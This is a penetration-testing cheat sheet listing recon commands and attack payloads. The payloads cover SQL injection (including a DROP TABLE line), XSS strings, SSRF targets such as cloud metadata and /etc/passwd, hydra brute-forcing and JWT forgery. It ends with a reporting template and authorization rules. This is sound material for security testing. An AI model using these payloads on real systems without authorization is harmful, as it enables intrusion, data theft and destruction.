Pentest patterns

Penetration Testing Patterns

Reconnaissance

# Subdomain enumeration
amass enum -d target.com -o subdomains.txt
subfinder -d target.com -o subdomains.txt

# Port scanning
nmap -sV -sC -p- --min-rate 5000 target.com -oN scan.txt
nmap -sU --top-ports 100 target.com  # UDP scan

# Directory bruteforce
ffuf -w /usr/share/wordlists/dirb/common.txt -u https://target.com/FUZZ -mc 200,301,302
gobuster dir -u https://target.com -w common.txt -x php,html,js

# Technology fingerprint
whatweb target.com
wappalyzer (browser extension)

OWASP Top 10 Testing

A01 — SQL Injection

# Manual test
' OR 1=1--
' UNION SELECT null,username,password FROM users--
1; DROP TABLE users--

# SQLMap automation
sqlmap -u "https://target.com/api/user?id=1" --batch --level=3
sqlmap -u "https://target.com/login" --data="user=admin&pass=test" --batch --dbs

# Detection in code
grep -rn "f\"SELECT.*{" src/          # f-string SQL (dangerous)
grep -rn "\"SELECT.*%s" src/          # % format SQL (dangerous)

A03 — Cross-Site Scripting (XSS)

// Reflected XSS payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
javascript:alert(1)
"><svg onload=alert(1)>

// DOM XSS sinks to audit
document.innerHTML = userInput;
document.write(userInput);
eval(userInput);
setTimeout(userInput, 1000);
location.href = userInput;

// Stored XSS check: submit, then retrieve and observe
// Test in: comments, profile fields, search queries, filenames

A01 — Broken Access Control / IDOR

# Testing IDOR
import requests

headers = {"Authorization": "Bearer USER_A_TOKEN"}

# Access own resource
r1 = requests.get("https://api.target.com/invoices/1001", headers=headers)

# Try accessing another user's resource (change ID)
r2 = requests.get("https://api.target.com/invoices/1002", headers=headers)

if r2.status_code == 200:
    print("IDOR FOUND: user can access another user's invoice")

# Try privilege escalation
admin_endpoint = requests.get("https://api.target.com/admin/users", headers=headers)

A10 — Server-Side Request Forgery (SSRF)

# SSRF payloads for URL parameters
http://169.254.169.254/latest/meta-data/   # AWS metadata
http://metadata.google.internal/           # GCP metadata
http://localhost:8080/internal-admin
file:///etc/passwd
dict://localhost:6379/info                 # Redis

# Test with Burp Collaborator or interactsh
python -m interactsh-client
# Then submit: https://target.com/fetch?url=https://YOUR.oastify.com

Burp Suite Workflow

1. Scope: Target > Scope > add target domain
2. Spider: Spider target, review sitemap
3. Active scan: Scanner > New scan > crawl + audit
4. Manual review:
   - Intercept requests, fuzz parameters
   - Repeater: replay/modify individual requests
   - Intruder: brute-force login, enumerate IDs
   - Sequencer: test session token randomness
5. Extensions: Auth Analyzer, JWT Editor, Param Miner

Authentication Testing

# Password brute-force (authorized only)
hydra -l admin -P wordlist.txt target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

# JWT attacks
# 1. Decode without verification
jwt.io → check alg, exp, claims

# 2. Algorithm confusion (HS256 with RS256 public key)
python jwt_tool.py TOKEN -X a

# 3. None algorithm
# Change header alg to "none", remove signature

# 4. Weak secret brute-force
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

Reporting Template

## Finding: [Title]
**Severity**: Critical / High / Medium / Low
**CVSS Score**: 9.8 / 7.5 / ...

### Description
What the vulnerability is and why it's dangerous.

### Steps to Reproduce
1. Navigate to https://target.com/endpoint
2. Modify parameter X to Y
3. Observe response contains Z

### Impact
What an attacker can achieve.

### Remediation
Specific fix with code example.

### References
- CWE-89: SQL Injection
- OWASP A03:2021

Scope & Ethics

• Always get written authorization before testing
• Stay within defined scope (no pivoting to third-party systems)
• Do not exfiltrate real user data — stop at proof of vulnerability
• Report findings immediately if critical (RCE, data exposure)
• Use isolated test accounts where possible